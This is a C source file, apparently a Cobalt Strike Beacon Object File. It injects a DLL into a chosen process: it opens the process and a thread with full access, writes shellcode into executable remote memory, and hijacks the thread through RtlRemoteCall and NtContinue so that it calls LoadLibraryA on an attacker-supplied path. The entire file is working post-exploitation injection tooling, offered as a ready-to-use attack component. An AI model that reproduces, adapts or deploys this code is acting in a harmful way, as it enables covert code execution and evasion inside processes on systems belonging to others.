loadlib.c 5.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <tlhelp32.h>
  4. #include <stddef.h>
  5. #include <processsnapshot.h>
  6. #include "beacon.h"
  7. #include "loadlib.h"
  8. int FindThreadID(int pid){
  9. int tid = 0;
  10. THREADENTRY32 thEntry;
  11. thEntry.dwSize = sizeof(thEntry);
  12. HANDLE Snap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  13. while (KERNEL32$Thread32Next(Snap, &thEntry)) {
  14. if (thEntry.th32OwnerProcessID == pid) {
  15. tid = thEntry.th32ThreadID;
  16. break;
  17. }
  18. }
  19. KERNEL32$CloseHandle(Snap);
  20. return tid;
  21. }
  22. typedef struct _API_REMOTE_CALL {
  23. // remote API call return value
  24. size_t retval;
  25. // standard function to call at the end of the shellcode
  26. NtContinue_t ntContinue;
  27. CONTEXT context;
  28. // remote function to call - adjust the types!
  29. LoadLibraryA_t ARK_func;
  30. char param1[100]; // LPCSTR
  31. } ApiReeKall;
  32. void SHELLCODE(ApiReeKall * ark){
  33. size_t ret = (size_t) ark->ARK_func(ark->param1);
  34. ark->retval = ret;
  35. ark->ntContinue(&ark->context, 0);
  36. }
  37. void SHELLCODE_END(void) {}
  38. size_t MakeReeKall(HANDLE hProcess, HANDLE hThread, ApiReeKall ark) {
  39. char prolog[] = { 0x49, 0x8b, 0xcc, // mov rcx, r12
  40. 0x49, 0x8b, 0xd5, // mov rdx, r13
  41. 0x4d, 0x8b, 0xc6, // mov r8, r14
  42. 0x4d, 0x8b, 0xcf // mov r9, r15
  43. };
  44. int prolog_size = sizeof(prolog);
  45. // resolve needed API pointers
  46. RtlRemoteCall_t pRtlRemoteCall = (RtlRemoteCall_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlRemoteCall");
  47. NtContinue_t pNtContinue = (NtContinue_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtContinue");
  48. if (pRtlRemoteCall == NULL || pNtContinue == NULL) {
  49. BeaconPrintf(CALLBACK_ERROR, "Error resolving native API calls!\n");
  50. return -1;
  51. }
  52. // allocate some space in the target for our shellcode
  53. void * remote_mem = KERNEL32$VirtualAllocEx(hProcess, 0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  54. if (remote_mem == NULL) {
  55. BeaconPrintf(CALLBACK_ERROR, "Error allocating remote memory!\n");
  56. return -1;
  57. }
  58. // calculate the size of our shellcode
  59. size_t sc_size = (size_t) SHELLCODE_END - (size_t) SHELLCODE;
  60. size_t bOut = 0;
  61. #ifdef _WIN64
  62. // first, write prolog, if the process is 64-bit
  63. if (KERNEL32$WriteProcessMemory(hProcess, remote_mem, prolog, prolog_size, (SIZE_T *) &bOut) == 0) {
  64. KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
  65. BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (prolog)!\n");
  66. return -1;
  67. }
  68. #else
  69. // otherwise, ignore the prolog
  70. prolog_size = 0;
  71. #endif
  72. // write the main payload
  73. if (KERNEL32$WriteProcessMemory(hProcess, (char *) remote_mem + prolog_size, &SHELLCODE, sc_size, (SIZE_T *) &bOut) == 0) {
  74. KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
  75. BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (shellcode)!\n");
  76. return -1;
  77. }
  78. // set remaining data in ApiReeKall struct - NtContinue with a thread context we're hijacking
  79. ark.retval = RETVAL_TAG;
  80. ark.ntContinue = pNtContinue;
  81. ark.context.ContextFlags = CONTEXT_FULL;
  82. KERNEL32$SuspendThread(hThread);
  83. KERNEL32$GetThreadContext(hThread, &ark.context);
  84. // prepare an argument to be passed to our shellcode
  85. ApiReeKall * ark_arg;
  86. ark_arg = (ApiReeKall *) ((size_t) remote_mem + sc_size + prolog_size + 4); // align to 0x10
  87. if (KERNEL32$WriteProcessMemory(hProcess, ark_arg, &ark, sizeof(ApiReeKall), 0) == 0) {
  88. KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
  89. KERNEL32$ResumeThread(hThread);
  90. BeaconPrintf(CALLBACK_ERROR, "Error writing remote memory (ApiReeKall arg)!\n");
  91. return -1;
  92. }
  93. // if all is set, make a remote call
  94. NTSTATUS status = pRtlRemoteCall(hProcess, hThread, remote_mem, 1, (PULONG) &ark_arg, 1, 1);
  95. if (status != 0) {
  96. BeaconPrintf(CALLBACK_ERROR, "Failed RtlRemoteCall with status code: %x\n", status);
  97. KERNEL32$ResumeThread(hThread);
  98. return 0;
  99. }
  100. BeaconPrintf(CALLBACK_OUTPUT, "[+] Made successful remote RPC call with status code: %x\n[*] Wait for the RPC call to be triggered in the remote process..\n", status);
  101. KERNEL32$ResumeThread(hThread);
  102. // get the remote API call return value
  103. size_t ret = 0;
  104. while(TRUE) {
  105. KERNEL32$Sleep(1000);
  106. KERNEL32$ReadProcessMemory(hProcess, ark_arg, &ret, sizeof(size_t), (SIZE_T *) &bOut);
  107. if (ret != RETVAL_TAG) break;
  108. }
  109. if (!KERNEL32$VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE))
  110. BeaconPrintf(CALLBACK_ERROR, "Remote shellcode memory could not be released\n");
  111. return ret;
  112. }
  113. void go(char *args, int len){
  114. datap parser;
  115. int pID = 0;
  116. char *pathToDLL;
  117. BeaconDataParse(&parser, args, len);
  118. pID = BeaconDataInt(&parser);
  119. pathToDLL = BeaconDataExtract(&parser, NULL);
  120. DWORD tID = FindThreadID(pID);
  121. if (tID == 0) {
  122. BeaconPrintf(CALLBACK_ERROR, "Could not find a suitable thread in target process!\n");
  123. return -1;
  124. }
  125. // open both process and thread in the remote target
  126. HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, 0, pID);
  127. HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, 0, tID);
  128. if (hProcess == NULL || hThread == NULL) {
  129. BeaconPrintf(CALLBACK_ERROR, "Error opening remote process or thread!\n");
  130. return -1;
  131. }
  132. BeaconPrintf(CALLBACK_OUTPUT, "[+] Got handle to remote process and thread!\n");
  133. // prepare a ApiReeKall struct with a function to call
  134. ApiReeKall ark = { 0 };
  135. ark.ARK_func = (LoadLibraryA_t) GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA");
  136. MSVCRT$strcpy_s(ark.param1, 100, pathToDLL);
  137. size_t ret = MakeReeKall(hProcess, hThread, ark);
  138. if(ret != 0) {
  139. BeaconPrintf(CALLBACK_OUTPUT, "[+] Received call confirmation. DLL should be loaded!\n", ret);
  140. }
  141. // cleanup
  142. KERNEL32$CloseHandle(hThread);
  143. KERNEL32$CloseHandle(hProcess);
  144. return 0;
  145. }